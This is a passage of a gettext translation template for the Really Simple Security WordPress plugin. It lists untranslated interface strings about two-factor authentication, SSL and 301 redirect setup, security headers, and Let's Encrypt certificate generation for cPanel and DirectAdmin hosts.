msgstr ""

#: assets/templates/two_fa/profile-settings.php:20
msgid "Two-Factor Authentication adds an extra layer of security to your account. You can enable it here."
msgstr ""

#: assets/templates/two_fa/profile-settings.php:23
msgid "Two-Factor Authentication is mandatory for your account, so you need to make a selection."
msgstr ""

#: assets/templates/two_fa/profile-settings.php:42
#: settings/config/fields/two-fa.php:13
msgid "Enable Two-Factor Authentication"
msgstr ""

#: assets/templates/two_fa/profile-settings.php:51
#: assets/templates/two_fa/profile-settings.php:57
msgid "Backup Codes"
msgstr ""

#: assets/templates/two_fa/profile-settings.php:61
#: assets/templates/two_fa/totp-config.php:23
#: security/wordpress/two-fa/class-rsssl-two-factor-profile-settings.php:355
#: security/wordpress/two-fa/class-rsssl-two-factor-totp.php:925
msgid "Download Backup Codes"
msgstr ""

#: assets/templates/two_fa/profile-settings.php:70
msgid "Selected provider"
msgstr ""

#: assets/templates/two_fa/profile-settings.php:75
msgid "Preferred Method"
msgstr ""

#: assets/templates/two_fa/profile-settings.php:100
#: assets/templates/two_fa/totp-config.php:36
msgid "Copy setup key"
msgstr ""

#: assets/templates/two_fa/profile-settings.php:105
#: assets/templates/two_fa/totp-config.php:42
#: security/wordpress/two-fa/class-rsssl-two-factor-totp.php:373
#: security/wordpress/two-fa/class-rsssl-two-factor-totp.php:709
msgid "Authentication Code:"
msgstr ""

#. translators: Example auth code.
#: assets/templates/two_fa/profile-settings.php:108
#: assets/templates/two_fa/totp-config.php:45
#: security/wordpress/two-fa/class-rsssl-two-factor-totp.php:376
msgid "eg. %s"
msgstr ""

#: assets/templates/two_fa/profile-settings.php:129
msgid "A verification code has been sent to the email address associated with your account to verify functionality."
msgstr ""

#: assets/templates/two_fa/totp-config.php:11
msgid "Authentication code is incorrect."
msgstr ""

#: assets/templates/two_fa/totp-config.php:18
msgid "Install Authentication app:"
msgstr ""

#. Translators: %s is the hyperlink for "Download"
#: assets/templates/two_fa/totp-config.php:22
msgid "Use your authenticator app like Google Authenticator to scan the QR code below, then paste the provided Authentication code. %s"
msgstr ""

#: assets/templates/two_fa/totp-config.php:54
#: security/wordpress/two-fa/class-rsssl-two-factor-backup-codes.php:348
#: security/wordpress/two-fa/class-rsssl-two-factor-totp.php:380
msgid "Submit"
msgstr ""

#: class-admin.php:153
#: class-admin.php:155
#: settings/config/menu.php:17
#: settings/config/menu.php:416
#: settings/build/43.3e98c0eeb2e262efa304.js:1
#: settings/src/Dashboard/Vulnerabilities/Vulnerabilities.js:237
#: settings/src/Dashboard/Vulnerabilities/VulnerabilitiesFooter.js:24
msgid "Settings"
msgstr ""

#: class-admin.php:160
#: settings/build/index.dc0e12538832ff741b9e.js:1
#: settings/src/Header.js:45
msgid "Support"
msgstr ""

#: class-admin.php:165
msgid "Improve security - Upgrade"
msgstr ""

#. translators: %s is replaced with the hyperlink
#: class-admin.php:199
msgid "Really Simple Security and Really Simple Security add-ons do not process any personal identifiable information, so the GDPR does not apply to these plugins or usage of these plugins on your website. You can find our privacy policy <a href=\"%s\" rel=\"noopener noreferrer\" target=\"_blank\">here</a>."
msgstr ""

#: class-admin.php:605
msgid "View Dashboard"
msgstr ""

#: class-admin.php:608
msgid "Dismiss"
msgstr ""

#: class-admin.php:611
#: settings/build/43.3e98c0eeb2e262efa304.js:1
#: settings/build/814.bf34d42ff1e29e8eb70d.js:1
#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Dashboard/TaskElement.js:58
#: settings/src/Dashboard/TaskElement.js:62
#: settings/src/Settings/MixedContentScan/MixedContentScan.js:80
msgid "View"
msgstr ""

#: class-admin.php:611
#: settings/build/43.3e98c0eeb2e262efa304.js:1
#: settings/build/778.60eedd33628297ab6b97.js:1
#: settings/build/814.bf34d42ff1e29e8eb70d.js:1
#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Dashboard/TaskElement.js:51
#: settings/src/Settings/Help.js:24
msgid "More info"
msgstr ""

#. translators: %1$ and %2$ are replaced with opening and closing a tag containing hyperlink
#: class-admin.php:1695
msgid "Hi, Really Simple Security has kept your site secure for some time now, awesome! If you have a moment, please consider leaving a review on WordPress.org to spread the word. We greatly appreciate it! If you have any questions or feedback, leave us a %1$smessage%2$s."
msgstr ""

#. translators: %1$ and %2$ are replaced with opening and closing a tag containing hyperlink
#: class-admin.php:1702
msgid "Hi, Really Simple Security has kept your site secure for a month now, awesome! If you have a moment, please consider leaving a review on WordPress.org to spread the word. We greatly appreciate it! If you have any questions or feedback, leave us a %1$smessage%2$s."
msgstr ""

#: class-admin.php:1710
msgid "Leave a review"
msgstr ""

#: class-admin.php:1715
msgid "Maybe later"
msgstr ""

#: class-admin.php:1718
msgid "Don't show again"
msgstr ""

#: class-admin.php:1856
msgid "Completed"
msgstr ""

#: class-admin.php:1857
#: pro/class-licensing.php:653
#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/MixedContentScan/MixedContentScan.js:58
msgid "Warning"
msgstr ""

#: class-admin.php:1858
#: pro/class-licensing.php:654
#: pro/security/wordpress/class-rsssl-geo-block.php:1504
#: settings/config/menu.php:367
msgid "Open"
msgstr ""

#: class-admin.php:1859
#: settings/build/43.3e98c0eeb2e262efa304.js:1
#: settings/src/Dashboard/OtherPlugins/OtherPlugins.js:21
msgid "Upgrade"
msgstr ""

#: class-admin.php:1900
msgid "No recommended redirect rules detected."
msgstr ""

#: class-admin.php:1915
#: lets-encrypt/class-letsencrypt-handler.php:290
msgid "(unknown)"
msgstr ""

#: class-admin.php:1924
msgid "Your wp-config.php has to be edited, but is not writable."
msgstr ""

#: class-admin.php:1925
#: class-admin.php:1946
msgid "Set your wp-config.php to writable and reload this page."
msgstr ""

#: class-admin.php:1926
msgid "To safely enable SSL on your server configuration, you should add the following line of code to your wp-config.php."
msgstr ""

#: class-admin.php:1946
msgid "A definition of a site url or home url was detected in your wp-config.php, but the file is not writable."
msgstr ""

#: class-admin.php:1961
msgid "The 'force-deactivate.php' file has to be renamed to .txt. Otherwise your ssl can be deactivated by anyone on the internet."
msgstr ""

#: class-admin.php:1962
#: settings/build/814.bf34d42ff1e29e8eb70d.js:1
#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Onboarding/Items/ListItem.js:46
msgid "Check again"
msgstr ""

#: class-admin.php:1978
msgid "SSL is now activated. Follow the three steps in this article to check if your website is secure."
msgstr ""

#: class-admin.php:1990
msgid "SSL is enabled on your site."
msgstr ""

#: class-admin.php:1994
msgid "SSL is not enabled yet."
msgstr ""

#: class-admin.php:2011
msgid "The wp-config.php file is not writable, and needs to be edited. Please set this file to writable."
msgstr ""

#: class-admin.php:2015
#: class-site-health.php:277
msgid "No SSL detected"
msgstr ""

#: class-admin.php:2016
msgid "No SSL detected. Use the retry button to check again."
msgstr ""

#: class-admin.php:2019
#: class-admin.php:2029
#: class-admin.php:2044
msgid "Install SSL certificate"
msgstr ""

#: class-admin.php:2020
msgid "Retry"
msgstr ""

#: class-admin.php:2025
#: onboarding/class-onboarding.php:288
msgid "Could not test certificate"
msgstr ""

#: class-admin.php:2026
#: onboarding/class-onboarding.php:288
msgid "Automatic certificate detection is not possible on your server."
msgstr ""

#: class-admin.php:2030
msgid "Check manually"
msgstr ""

#: class-admin.php:2035
msgid "Your SSL certificate will expire soon."
msgstr ""

#. translators: %s is replaced with date.
#: class-admin.php:2038
msgid "SSL certificate will expire on %s."
msgstr ""

#. translators: %s is replaced with date.
#: class-admin.php:2038
msgid "If your hosting provider auto-renews your certificate, no action is required. Alternatively, you have the option to generate an SSL certificate with Really Simple Security."
msgstr ""

#. translators: %1$ and %2$s are replaced with the opening and closing tag with link.
#: class-admin.php:2040
msgid "Depending on your hosting provider, %1$smanual installation%2$s may be required."
msgstr ""

#: class-admin.php:2045
#: settings/build/43.3e98c0eeb2e262efa304.js:1
#: settings/build/814.bf34d42ff1e29e8eb70d.js:1
#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Dashboard/TaskElement.js:52
msgid "Re-check"
msgstr ""

#: class-admin.php:2058
msgid "Really Simple Security has received no response from the webpage."
msgstr ""

#: class-admin.php:2065
msgid "The mixed content fixer is active, but was not detected on the frontpage."
msgstr ""

#: class-admin.php:2070
msgid "Error occurred when retrieving the webpage."
msgstr ""

#: class-admin.php:2076
msgid "Mixed content fixer not enabled. Enable the option to fix mixed content on your site."
msgstr ""

#. translators: %s is replaced with the error description.
#: class-admin.php:2083
msgid "The mixed content fixer could not be detected due to a cURL error: %s. cURL errors are often caused by an outdated version of PHP or cURL and don't affect the front-end of your site. Contact your hosting provider for a fix."
msgstr ""

#: class-admin.php:2096
msgid "301 redirect to https set."
msgstr ""

#: class-admin.php:2100
msgid "No 301 redirect is set. Enable the WordPress 301 redirect in the settings to get a 301 permanent redirect."
msgstr ""

#: class-admin.php:2115
#: class-admin.php:2121
msgid "301 .htaccess redirect"
msgstr ""

#: class-admin.php:2116
msgid "The 301 redirect with .htaccess to HTTPS is now enabled."
msgstr ""

#: class-admin.php:2122
msgid "WordPress 301 redirect enabled. We recommend to enable a 301 .htaccess redirect."
msgstr ""

#: class-admin.php:2129
msgid "Enable a .htaccess redirect or PHP redirect in the settings to create a 301 redirect."
msgstr ""

#: class-admin.php:2134
msgid ".htaccess redirect."
msgstr ""

#: class-admin.php:2136
msgid "The .htaccess redirect rules selected by this plugin failed in the test. Set manually or dismiss to leave on PHP redirect."
msgstr ""

#: class-admin.php:2151
msgid "Your site uses Elementor. This can require some additional steps before getting the secure lock."
msgstr ""

#: class-admin.php:2165
msgid "Your site uses Divi. This can require some additional steps before getting the secure lock."
msgstr ""

#: class-admin.php:2176
msgid "See which recommended security headers are not present on your website."
msgstr ""

#: class-admin.php:2185
msgid "Recommended security headers enabled."
msgstr ""

#: class-admin.php:2196
msgid "Implement Two-Factor Authentication or Passkey login."
msgstr ""

#: class-admin.php:2208
msgid "Protect your login form with Limit Login Attempts."
msgstr ""

#: class-admin.php:2220
msgid "Protect your site with a performant Firewall."
msgstr ""

#. translators: %s is replaced with the plugin name.
#: class-admin.php:2232
msgid "We have detected the %s plugin on your website."
msgstr ""

#. translators: %s is replaced with the plugin name.
#: class-admin.php:2232
msgid "As Really Simple Security handles all the functionality this plugin provides, we recommend to disable this plugin to prevent unexpected behavior."
msgstr ""

#: class-admin.php:2246
msgid "Black Friday sale! Get 40% Off Really Simple Security Pro"
msgstr ""

#: class-admin.php:2261
msgid "Please check if your REST API is loading correctly. Your site currently is using the slower Ajax fallback method to load the settings."
msgstr ""

#: class-admin.php:2275
msgid "Complete email validation and enable notifications to make sure you will receive security warnings."
msgstr ""

#: class-admin.php:2283
msgid "Email address successfully verified."
msgstr ""

#: class-admin.php:2299
msgid "Your site uses plain permalinks, which causes issues with the REST API. Please use a different permalinks configuration."
msgstr ""

#. translators: %1$s: opening bold tag, %2$s: closing bold tag
#: class-admin.php:3059
msgid "Really Simple SSL is now %1$sReally Simple Security!%2$s"
msgstr ""

#: class-admin.php:3066
msgid "Read about our journey towards Really Simple Security"
msgstr ""

#: class-admin.php:3072
msgid "Experience all powerful features of Really Simple Security Pro using this %slimited time discount%s: %s"
msgstr ""

#: class-multisite.php:79
msgid "SSL is enabled networkwide."
msgstr ""

#: class-multisite.php:83
msgid "SSL is not enabled on your network"
msgstr ""

#: class-multisite.php:96
msgid "You run a Multisite installation with subfolders, which prevents this plugin from fixing your missing server variable in the wp-config.php."
msgstr ""

#: class-multisite.php:97
msgid "Because the $_SERVER[\"HTTPS\"] variable is not set, your website may experience redirect loops."
msgstr ""

#: class-multisite.php:98
msgid "Activate networkwide to fix this."
msgstr ""

#: class-multisite.php:110
msgid "SSL activation in progress"
msgstr ""

#: class-multisite.php:111
msgid "A networkwide SSL activation process has been started, but has not been completed. Please go to the SSL settings page to complete the process."
msgstr ""

#: class-multisite.php:112
msgid "View settings page"
msgstr ""

#: class-multisite.php:126
msgid "You run a Multisite installation with subdomains, but your site doesn't have a wildcard certificate."
msgstr ""

#: class-multisite.php:127
msgid "This leads to issues when activating SSL networkwide since subdomains will be forced over SSL as well while they don't have a valid certificate."
msgstr ""

#: class-multisite.php:128
msgid "Activate SSL per site or install a wildcard certificate to fix this."
msgstr ""

#: class-multisite.php:239
#: class-multisite.php:240
#: class-site-health.php:93
#: class-site-health.php:124
#: class-site-health.php:155
#: settings/settings.php:191
#: settings/settings.php:192
#: settings/settings.php:224
msgid "Security"
msgstr ""

#: class-site-health.php:30
msgid "SSL Status Test"
msgstr ""

#: class-site-health.php:35
msgid "Security Headers Test"
msgstr ""

#: class-site-health.php:48
msgid "Vulnerability detection"
msgstr ""

#: class-site-health.php:61
msgid "Limit Login Attempts Protection"
msgstr ""

#: class-site-health.php:67
msgid "Firewall Protection"
msgstr ""

#: class-site-health.php:81
#: pro/security/notices.php:48
msgid "We recommend to enable Two-Factor Authentication at least for administrators."
msgstr ""

#: class-site-health.php:86
msgid "Your site is protected by Two-Factor Authentication (2FA)."
msgstr ""

#: class-site-health.php:90
msgid "Protect your user logins with Two-Factor Authentication (at least for Administrator accounts)"
msgstr ""

#: class-site-health.php:100
#: class-site-health.php:131
#: class-site-health.php:162
#: class-site-health.php:230
#: settings/config/fields/vulnerability-detection.php:236
#: settings/build/43.3e98c0eeb2e262efa304.js:1
#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Dashboard/SslLabs/SslLabs.js:320
#: settings/src/LetsEncrypt/DnsVerification.js:57
msgid "Read more"
msgstr ""

#: class-site-health.php:112
#: pro/security/notices.php:67
msgid "Enable Limit Login Attempts to protect the login form against brute-force attacks."
msgstr ""

#: class-site-health.php:117
msgid "Your site is protected by Limit Login Attempts."
msgstr ""

#: class-site-health.php:121
msgid "Protect your login form with Limit Login Attempts"
msgstr ""

#: class-site-health.php:143
#: pro/security/notices.php:86
msgid "Secure your site with the performant Firewall."
msgstr ""

#: class-site-health.php:148
msgid "Your site is protected by a firewall."
msgstr ""

#: class-site-health.php:152
msgid "Secure your site with a Firewall"
msgstr ""

#: class-site-health.php:182
msgid "The value, WP_DEBUG_LOG, has been added to this website’s configuration file. This means any errors on the site will be written to a file which is potentially available to all users."
msgstr ""

#: class-site-health.php:188
msgid "Remove from public location with Really Simple Security"
msgstr ""

#: class-site-health.php:205
msgid "Essential security headers installed"
msgstr ""

#: class-site-health.php:213
msgid "The essential security headers are detected on your site."
msgstr ""

#: class-site-health.php:225
msgid "Not all essential security headers are installed"
msgstr ""

#: class-site-health.php:226
msgid "Your website does not send all essential security headers."
msgstr ""

#: class-site-health.php:245
msgid "301 SSL redirect enabled"
msgstr ""

#: class-site-health.php:253
msgid "You have set a 301 redirect to SSL. This is important for SEO purposes"
msgstr ""

#: class-site-health.php:262
msgid "SSL is not enabled."
msgstr ""

#: class-site-health.php:265
msgid "Really Simple Security detected an SSL certificate, but has not been configured to enforce SSL."
msgstr ""

#: class-site-health.php:273
#: settings/build/43.3e98c0eeb2e262efa304.js:1
#: settings/build/814.bf34d42ff1e29e8eb70d.js:1
#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Dashboard/Progress/ProgressFooter.js:24
#: settings/src/Onboarding/OnboardingControls.js:168
msgid "Activate SSL"
msgstr ""

#: class-site-health.php:280
msgid "Really Simple Security is installed, but no valid SSL certificate is detected."
msgstr ""

#: class-site-health.php:286
msgid "No 301 redirect to SSL enabled."
msgstr ""

#: class-site-health.php:289
msgid "To ensure all traffic passes through SSL, please enable a 301 redirect."
msgstr ""

#: class-site-health.php:294
msgid "Enable 301 redirect"
msgstr ""

#: class-site-health.php:298
msgid "301 .htaccess redirect is not enabled."
msgstr ""

#: class-site-health.php:301
msgid "The 301 .htaccess redirect is the fastest and most reliable redirect option."
msgstr ""

#: class-site-health.php:306
msgid "Enable 301 .htaccess redirect"
msgstr ""

#: lets-encrypt/class-le-restapi.php:166
#: lets-encrypt/class-le-restapi.php:227
msgid "Permission denied."
msgstr ""

#: lets-encrypt/class-le-restapi.php:235
msgid "Test not found."
msgstr ""

#: lets-encrypt/class-letsencrypt-handler.php:208
msgid "It is not possible to install Let's Encrypt on a localhost environment."
msgstr ""

#: lets-encrypt/class-letsencrypt-handler.php:213
msgid "It is not possible to install Let's Encrypt on a subsite. Please go to the main site of your website."
msgstr ""

#: lets-encrypt/class-letsencrypt-handler.php:218
msgid "It is not possible to install Let's Encrypt on a subfolder configuration."
msgstr ""

#: lets-encrypt/class-letsencrypt-handler.php:222
msgid "Please adjust the CAA records via your DNS provider to allow Let’s Encrypt SSL certificates"
msgstr ""

#: lets-encrypt/class-letsencrypt-handler.php:226
msgid "Your domain meets the requirements for Let's Encrypt."
msgstr ""

#: lets-encrypt/class-letsencrypt-handler.php:296
msgid "Your certificate will expire on %s."
msgstr ""

#: lets-encrypt/class-letsencrypt-handler.php:296
msgid "Continue to renew."
msgstr ""

#: lets-encrypt/class-letsencrypt-handler.php:300
msgid "You already have a valid SSL certificate."
msgstr ""

#: lets-encrypt/class-letsencrypt-handler.php:306
msgid "SSL certificate should be generated and installed."
msgstr ""

#: lets-encrypt/class-letsencrypt-handler.php:337
msgid "The Hosting Panel software was not recognized. Depending on your hosting provider, the generated certificate may need to be installed manually."
msgstr ""

#: lets-encrypt/class-letsencrypt-handler.php:341
msgid "CPanel recognized. Possibly the certificate can be installed automatically."
msgstr ""

#: lets-encrypt/class-letsencrypt-handler.php:344
msgid "Plesk recognized. Possibly the certificate can be installed automatically."
msgstr ""

#: lets-encrypt/class-letsencrypt-handler.php:347
msgid "DirectAdmin recognized. Possibly the certificate can be installed automatically."
msgstr ""

#: lets-encrypt/class-letsencrypt-handler.php:363
msgid "The PHP function CURL is not available on your server, which is required. Please contact your hosting provider."
msgstr ""

#: lets-encrypt/class-letsencrypt-handler.php:367
msgid "The PHP function CURL has successfully been detected."
msgstr ""

#: lets-encrypt/class-letsencrypt-handler.php:387
msgid "Successfully retrieved account"
msgstr ""

#: lets-encrypt/class-letsencrypt-handler.php:394
msgid "The used domain for your email address is not allowed."
msgstr ""

#: lets-encrypt/class-letsencrypt-handler.php:395
msgid "Please change your email address %shere%s and try again."
msgstr ""

#: lets-encrypt/class-letsencrypt-handler.php:403
msgid "The email address was not set. Please set the email address"
msgstr ""

#: lets-encrypt/class-letsencrypt-handler.php:440
#: lets-encrypt/class-letsencrypt-handler.php:448
msgid "Token successfully retrieved. Click the refresh button if it's not visible yet."
msgstr ""

#: lets-encrypt/class-letsencrypt-handler.php:455
msgid "Token not received yet."
msgstr ""

#: lets-encrypt/class-letsencrypt-handler.php:467
#: lets-encrypt/class-letsencrypt-handler.php:470
#: lets-encrypt/class-letsencrypt-handler.php:488
msgid "DNS token not retrieved."
msgstr ""

#: lets-encrypt/class-letsencrypt-handler.php:467
#: lets-encrypt/class-letsencrypt-handler.php:488
msgid "There are existing keys, the order had to be cleared first."
msgstr ""

#: lets-encrypt/class-letsencrypt-handler.php:467
#: lets-encrypt/class-letsencrypt-handler.php:488
msgid "Please start at the previous step."
msgstr ""

#: lets-encrypt/class-letsencrypt-handler.php:470
#: lets-encrypt/class-letsencrypt-handler.php:747
msgid "The order is invalid, possibly due to too many failed authorization attempts. Please start at the previous step."
msgstr ""

#: lets-encrypt/class-letsencrypt-handler.php:474
msgid "Order ID mismatch, regenerate order."
msgstr ""

#: lets-encrypt/class-letsencrypt-handler.php:477
msgid "If you entered your DNS records before, they need to be changed."
msgstr ""

#: lets-encrypt/class-letsencrypt-handler.php:505
msgid "Configured for HTTP challenge"
msgstr ""

#: lets-encrypt/class-letsencrypt-handler.php:547
#: lets-encrypt/integrations/cpanel/functions.php:47
msgid "Token not generated. Please complete the previous step."
msgstr ""

#: lets-encrypt/class-letsencrypt-handler.php:561
msgid "Successfully verified DNS records"
msgstr ""

#: lets-encrypt/class-letsencrypt-handler.php:571
msgid "The DNS response for %s was %s, while it should be %s."
msgstr ""

#: lets-encrypt/class-letsencrypt-handler.php:572
msgid "Please wait %s before trying again, as this is the expiration of the DNS record currently."
msgstr ""

#: lets-encrypt/class-letsencrypt-handler.php:581
msgid "Could not verify TXT record for domain %s"
msgstr ""

#: lets-encrypt/class-letsencrypt-handler.php:603
msgid "%d:%02d:%02d hours"
msgstr ""

#: lets-encrypt/class-letsencrypt-handler.php:607
msgid "%d:%02d minutes"
msgstr ""

#: lets-encrypt/class-letsencrypt-handler.php:609
msgid "%d seconds"
msgstr ""

#: lets-encrypt/class-letsencrypt-handler.php:641
msgid "The certificate generation was rate limited for 5 minutes because the authorization failed."
msgstr ""

#: lets-encrypt/class-letsencrypt-handler.php:643
msgid "Please double check your DNS txt record."
msgstr ""

#: lets-encrypt/class-letsencrypt-handler.php:657
msgid "DNS records were not verified yet. Please complete the previous step."
msgstr ""

#: lets-encrypt/class-letsencrypt-handler.php:696
msgid "Certificate already generated. It was renewed if required."
msgstr ""

#: lets-encrypt/class-letsencrypt-handler.php:702
#: lets-encrypt/class-letsencrypt-handler.php:778
msgid "Files not created yet..."
msgstr ""

#: lets-encrypt/class-letsencrypt-handler.php:726
msgid "Authorization not completed yet."
msgstr ""

#: lets-encrypt/class-letsencrypt-handler.php:743
msgid "Due to a change in challenge type, the order had to be reset. Please start at the previous step."
msgstr ""

#: lets-encrypt/class-letsencrypt-handler.php:747
msgid "Certificate not created."
msgstr ""

#: lets-encrypt/class-letsencrypt-handler.php:750
msgid "As your order will be regenerated, you'll need to update your DNS text records."
msgstr ""

#: lets-encrypt/class-letsencrypt-handler.php:758
msgid "OCSP not supported, the certificate will be generated without OCSP."
msgstr ""

#: lets-encrypt/class-letsencrypt-handler.php:772
msgid "Successfully generated certificate."
msgstr ""

#: lets-encrypt/class-letsencrypt-handler.php:786
msgid "Bundle not available yet..."
msgstr ""

#: lets-encrypt/class-letsencrypt-handler.php:870
msgid "Failed retrieving account."
msgstr ""

#: lets-encrypt/class-letsencrypt-handler.php:879
msgid "Order successfully created."
msgstr ""

#: lets-encrypt/class-letsencrypt-handler.php:895
msgid "Order successfully retrieved."
msgstr ""

#: lets-encrypt/class-letsencrypt-handler.php:1047
msgid "Terms & Conditions are accepted."
msgstr ""

#: lets-encrypt/class-letsencrypt-handler.php:1051
msgid "The Terms & Conditions were not accepted. Please accept in the general settings."
msgstr ""

#: lets-encrypt/class-letsencrypt-handler.php:1159
msgid "Please complete the following step(s) first: %s"
msgstr ""

#: lets-encrypt/class-letsencrypt-handler.php:1175
msgid "The following directories do not have the necessary writing permissions."
msgstr ""

#: lets-encrypt/class-letsencrypt-handler.php:1175
msgid "Set permissions to 644 to enable SSL generation."
msgstr ""

#: lets-encrypt/class-letsencrypt-handler.php:1182
msgid "The required directories have the necessary writing permissions."
msgstr ""

#: lets-encrypt/class-letsencrypt-handler.php:1194
msgid "We have not detected any known hosting limitations."
msgstr ""

#: lets-encrypt/class-letsencrypt-handler.php:1201
#: lets-encrypt/functions.php:401
msgid "According to our information, your hosting provider does not allow any kind of SSL installation, other then their own paid certificate. For an alternative hosting provider with SSL, see this %sarticle%s."
msgstr ""

#: lets-encrypt/class-letsencrypt-handler.php:1208
#: lets-encrypt/functions.php:391
msgid "According to our information, your hosting provider supplies your account with an SSL certificate by default. Please contact your %shosting support%s if this is not the case."
msgstr ""

#: lets-encrypt/class-letsencrypt-handler.php:1209
msgid "After completing the installation, you can let Really Simple Security automatically configure your site for SSL by using the 'Activate SSL' button."
msgstr ""

#: lets-encrypt/class-letsencrypt-handler.php:1225
msgid "The challenge directory is not created yet."
msgstr ""

#: lets-encrypt/class-letsencrypt-handler.php:1229
msgid "The challenge directory was successfully created."
msgstr ""

#: lets-encrypt/class-letsencrypt-handler.php:1242
msgid "The key directory is not created yet."
msgstr ""

#: lets-encrypt/class-letsencrypt-handler.php:1246
msgid "Trying to create directory in root of website."
msgstr ""

#: lets-encrypt/class-letsencrypt-handler.php:1254
msgid "The key directory was successfully created."
msgstr ""

#: lets-encrypt/class-letsencrypt-handler.php:1269
msgid "The certs directory is not created yet."
msgstr ""

#: lets-encrypt/class-letsencrypt-handler.php:1273
msgid "The certs directory was successfully created."
msgstr ""

#: lets-encrypt/class-letsencrypt-handler.php:1332
#: lets-encrypt/class-letsencrypt-handler.php:1642
msgid "no response"
msgstr ""

#: lets-encrypt/class-letsencrypt-handler.php:1336
msgid "Could not reach challenge directory over %s."
msgstr ""

#: lets-encrypt/class-letsencrypt-handler.php:1342
msgid "Challenge directory not writable."
msgstr ""

#: lets-encrypt/class-letsencrypt-handler.php:1356
#: lets-encrypt/class-letsencrypt-handler.php:1360
#: lets-encrypt/class-letsencrypt-handler.php:1705
msgid "Error code %s"
msgstr ""

#: lets-encrypt/class-letsencrypt-handler.php:1367
#: lets-encrypt/class-letsencrypt-handler.php:1665
#: lets-encrypt/class-letsencrypt-handler.php:1716
msgid "Successfully verified alias domain."
msgstr ""

#: lets-encrypt/class-letsencrypt-handler.php:1600
msgid "This is a multisite configuration with subdomains. You should generate a wildcard certificate on the root domain."
msgstr ""

#: lets-encrypt/class-letsencrypt-handler.php:1605
msgid "No subdomain setup detected."
msgstr ""

#: lets-encrypt/class-letsencrypt-handler.php:1635
msgid "Alias domain check is not relevant for a subdomain"
msgstr ""

#: lets-encrypt/class-letsencrypt-handler.php:1654
msgid "Please check if the non www version of your site also points to this website."
msgstr ""

#: lets-encrypt/class-letsencrypt-handler.php:1656
msgid "Please check if the www version of your site also points to this website."
msgstr ""

#: lets-encrypt/class-letsencrypt-handler.php:1658
msgid "Could not verify alias domain."
msgstr ""

#: lets-encrypt/class-letsencrypt-handler.php:1658
msgid "If this is not the case, don't add this alias to your certificate."
msgstr ""

#: lets-encrypt/class-letsencrypt-handler.php:1687
msgid "Could not create test folder and file."
msgstr ""

#: lets-encrypt/class-letsencrypt-handler.php:1688
msgid "Please create a folder 'rsssl' in the uploads directory, with 644 permissions."
msgstr ""

#: lets-encrypt/class-letsencrypt-handler.php:1784
msgid "The certificate installation was rate limited. Please try again later."
msgstr ""

#: lets-encrypt/class-letsencrypt-handler.php:1814
msgid "Not recognized server."
msgstr ""

#: lets-encrypt/class-letsencrypt-handler.php:1819
msgid "Installation failed."
msgstr ""

#: lets-encrypt/class-letsencrypt-handler.php:1824
#: lets-encrypt/integrations/cloudways/functions.php:22
#: lets-encrypt/integrations/cpanel/functions.php:17
#: lets-encrypt/integrations/cpanel/functions.php:35
#: lets-encrypt/integrations/directadmin/functions.php:16
#: lets-encrypt/integrations/plesk/functions.php:16
msgid "The system is not ready for the installation yet. Please run the wizard again."
msgstr ""

#: lets-encrypt/config/class-hosts.php:603
msgid "I don't know, or not listed, proceed with installation"
msgstr ""

#: lets-encrypt/config/fields.php:8
#: settings/config/fields/general.php:61
#: settings/config/menu.php:739
msgid "System status"
msgstr ""

#: lets-encrypt/config/fields.php:12
#: settings/config/menu.php:747
msgid "General Settings"
msgstr ""

#: lets-encrypt/config/fields.php:17
#: settings/config/menu.php:757
msgid "Directories"
msgstr ""

#: lets-encrypt/config/fields.php:21
#: settings/config/menu.php:762
msgid "DNS verification"
msgstr ""

#: lets-encrypt/config/fields.php:25
#: settings/config/menu.php:767
msgid "Generation"
msgstr ""

#: lets-encrypt/config/fields.php:29
#: settings/config/menu.php:772
msgid "Installation"
msgstr ""

#: lets-encrypt/config/fields.php:47
msgid "Detected status of your setup."
msgstr ""

#: lets-encrypt/config/fields.php:52
msgid "Checking SSL certificate..."
msgstr ""

#: lets-encrypt/config/fields.php:58
msgid "Checking if CURL is available..."
msgstr ""

#: lets-encrypt/config/fields.php:64
msgid "Checking server software..."
msgstr ""

#: lets-encrypt/config/fields.php:70
msgid "Checking alias domain..."
msgstr ""

#: lets-encrypt/config/fields.php:76
msgid "Checking for website configuration..."
msgstr ""

#: lets-encrypt/config/fields.php:94
#: lets-encrypt/config/fields.php:97
#: settings/config/fields/general.php:79
msgid "Email address"
msgstr ""

#: lets-encrypt/config/fields.php:98
msgid "This email address is used to create a Let's Encrypt account. This is also where you will receive renewal notifications."
msgstr ""

#: lets-encrypt/config/fields.php:110
msgid "I agree to the Terms & Conditions from Let's Encrypt."
msgstr ""

#: lets-encrypt/config/fields.php:111
#: onboarding/class-onboarding.php:322
msgid "Terms & Conditions"
msgstr ""

#: lets-encrypt/config/fields.php:123
#: lets-encrypt/config/fields.php:126
msgid "Disable OCSP stapling"
msgstr ""

#: lets-encrypt/config/fields.php:124
msgid "OCSP stapling is configured as enabled by default. You can disable this option if this is not supported by your hosting provider."
msgstr ""

#: lets-encrypt/config/fields.php:134
#: lets-encrypt/config/notices.php:51
#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/LetsEncrypt/DnsVerification.js:62
msgid "Domain"
msgstr ""

#: lets-encrypt/config/fields.php:145
#: lets-encrypt/config/fields.php:148
msgid "Include alias"
msgstr ""

#: lets-encrypt/config/fields.php:149
msgid "This will include both the www. and non-www. version of your domain."
msgstr ""

#: lets-encrypt/config/fields.php:150
msgid "You should have the www domain pointed to the same website as the non-www domain."
msgstr ""

#: lets-encrypt/config/fields.php:166
#: lets-encrypt/config/fields.php:169
msgid "CPanel host"
msgstr ""

#: lets-encrypt/config/fields.php:170
msgid "The URL you use to access your cPanel dashboard. Ends on :2083."
msgstr ""

#: lets-encrypt/config/fields.php:190
msgid "CPanel username"
msgstr ""

#: lets-encrypt/config/fields.php:209
msgid "CPanel password"
msgstr ""

#: lets-encrypt/config/fields.php:228
msgid "DirectAdmin host"
msgstr ""

#: lets-encrypt/config/fields.php:231
msgid "Direct Admin URL"
msgstr ""

#: lets-encrypt/config/fields.php:232
msgid "The URL you use to access your DirectAdmin dashboard. Ends on :2222."
msgstr ""

#: lets-encrypt/config/fields.php:252
msgid "DirectAdmin username"
msgstr ""

#: lets-encrypt/config/fields.php:271
msgid "DirectAdmin password"
